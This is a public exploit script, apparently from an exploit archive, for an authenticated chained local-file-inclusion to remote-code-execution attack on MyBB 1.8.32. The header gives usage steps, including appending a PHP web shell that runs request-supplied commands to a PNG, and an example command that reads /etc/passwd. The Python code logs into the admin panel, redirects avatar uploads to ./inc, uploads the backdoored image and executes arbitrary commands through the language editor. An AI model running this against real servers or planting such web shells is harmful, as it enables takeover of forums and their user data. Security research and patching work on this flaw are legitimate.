# Exploit Title: MyBB 1.8.32 - Chained LFI Remote Code Execution (RCE) (Authenticated) # Date: 2023-01-19 # Exploit Author: lUc1f3r11 (https://github.com/FDlucifer) # Vendor Homepage: https://mybb.com/ # Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1832 # Version: MyBB 1.8.32 # Tested on: Linux # CVE : N/A # Detailed Analysis : https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/ # (1). An RCE can be obtained on MyBB's Admin CP in Configuration -> Profile Options -> Avatar Upload Path. to change Avatar Upload Path to /inc to bypass blacklist upload dir. # (2). after doing that, then we are able to chain in "admin avatar upload" page: http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar, and LFI in "Edit Language Variables" page: http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english. # (3). This chained bugs can lead to Authenticated RCE. # (note). The user must have rights to add or update settings and update Avatar. This is tested on MyBB 1.8.32. # # # Exp Usage: # 1.first choose a png file that size less than 1kb # 2.then merge the png file with a php simple backdoor file using the following commands # mac@xxx-2 php-backdoor % cat simple-backdoor.php # "; # $cmd = ($_REQUEST['cmd']); # system($cmd); # echo ""; # phpinfo(); # } # ?> # mac@xxx-2 php-backdoor % ls # simple-backdoor.php test.png # mac@xxx-2 php-backdoor % cat simple-backdoor.php >> test.png # mac@xxx-2 php-backdoor % file test.png # test.png: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced # 3.finnally run the following commands to run the exp script to get RCE output! enjoy the shell... # python3 exp.py --host http://www.xxx.cn --username admin --password xxx --email xxx@qq.com --file avatar_1.png --cmd "cat /etc/passwd" import requests import argparse from bs4 import BeautifulSoup from requests_toolbelt import MultipartEncoder import re r_clients = requests.Session() def exploit(username, password, email, host, file, cmd): # Adding ./inc upload path settings to bypass avatar upload path blacklists data = { "username" : username, "password" : password, "do" : "login" } login_txt = r_clients.post(host + "/admin/index.php", data=data).text if "The username and password combination you entered is invalid" in login_txt: print("[-] Login failure. Incorrect credentials supplied") exit(0) print("[+] Login successful!") if "Access Denied" in login_txt: print("[-] Supplied user doesn't have the rights to add a setting") exit(0) print("[*] Adding ./inc upload path settings...") soup = BeautifulSoup(login_txt, "lxml") my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value'] print("[+] my_post_key: ", my_post_key) print("[+] cookies: ", r_clients.cookies.get_dict()) cookies = r_clients.cookies.get_dict() data = { "my_post_key" : my_post_key, "gid" : 10, "upsetting[sigmycode]" : 1, "upsetting[sigcountmycode]" : 1, "upsetting[sigsmilies]" : 1, "upsetting[sightml]" : 0, "upsetting[sigimgcode]" : 1, "upsetting[maxsigimages]" : 2, "upsetting[siglength]" : 255, "upsetting[hidesignatures]" : "", "upsetting[hidewebsite]" : "", "upsetting[useravatar]" : "./inc", "upsetting[useravatardims]" : "100x100", "upsetting[useravatarrating]" : 0, "upsetting[maxavatardims]" : "100x100", "upsetting[avatarsize]" : 25, "upsetting[avatarresizing]" : "auto", "upsetting[avataruploadpath]" : "./inc", "upsetting[allowremoteavatars]" : 1, "upsetting[customtitlemaxlength]" : 40, "upsetting[allowaway]" : 1, "upsetting[allowbuddyonly]" : 0 } modify_settings_txt = r_clients.post(host + "/admin/index.php?module=config-settings&action=change",data=data,allow_redirects=False, cookies=cookies) if modify_settings_txt.status_code != 302: soup = BeautifulSoup(modify_settings_txt.text, "lxml") error_txt = soup.find_all("div", {"class" : "error"})[0].text print("[-] modify upload path failed. Reason: '{}'".format(error_txt)) exit(0) print("[+] ./inc upload path settings added!") # upload malicious avatar in admin panel with open("test.png", "rb") as f: image_binary = f.read() print("[+] read image successful! ") print("[+] image contents: ", image_binary) filename = "test.png" data1 = { 'my_post_key': my_post_key, 'username': username, 'email': email, 'avatar_upload': (filename, open(filename, 'rb'), 'image/png') } m = MultipartEncoder(data1) headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": m.content_type, "Origin": "null", "Connection": "close", "Upgrade-Insecure-Requests": "1" } upload_url = host + "/admin/index.php?module=user-users&action=edit&uid=1" upload = r_clients.post(upload_url, data=m, allow_redirects=False, headers=headers, cookies=cookies) if upload.status_code != 302: soup = BeautifulSoup(upload.text, "lxml") error_txt = soup.find_all("div", {"class" : "error"})[0].text print("[-] upload avatar didn't work. Reason: '{}'".format(error_txt)) exit(0) print("[+] upload malicious avatar png success!") # commands exec and get the output, we are done finally :) data2 = { 'my_post_key': my_post_key, 'file': file, 'lang': "english", 'editwith': "..", 'inadmin': 0 } exec_url = host + "/admin/index.php?module=config-languages&action=edit&cmd=" + cmd commands_exec = r_clients.post(exec_url, data=data2, cookies=cookies) if commands_exec.status_code != 200: soup = BeautifulSoup(commands_exec.text, "lxml") error_txt = soup.find_all("div", {"class" : "error"})[0].text print("[-] command exec didn't work. Reason: '{}'".format(error_txt)) exit(0) cmd_output = re.findall(r'(.*?)', commands_exec.text, re.S) print("[+] exec status: ", commands_exec.status_code) print("[+] command exec success:\n\n", cmd_output[0].replace("\n", "\n")) parser = argparse.ArgumentParser() parser.add_argument('--username', required=True, help="MyBB Admin CP username") parser.add_argument('--password', required=True, help="MyBB Admin CP password") parser.add_argument('--email', required=True, help="MyBB Admin CP admin's email (easy to find in admin users panal)") parser.add_argument('--file', required=True, help="the image file name in the server that we uploaded before. (easy to find in admin users panal)") parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000") parser.add_argument('--cmd', required=False, help="Command to run") args = parser.parse_args() username = args.username password = args.password email = args.email file = args.file host = args.host cmd = "id" if args.cmd == None else args.cmd print("""_______________________________________\n / MyBB 1.8.32 - Chained LFI Remote Code \ \n \ Execution (RCE) (Authenticated) / \n --------------------------------------- \n \ ^__^ \n \ (oo)\_______ \n (__)\ )\/\ \n ||----w | \n || || \n Author: lUc1f3r11 Github: https://github.com/FDlucifer""") exploit(username, password, email, host, file, cmd)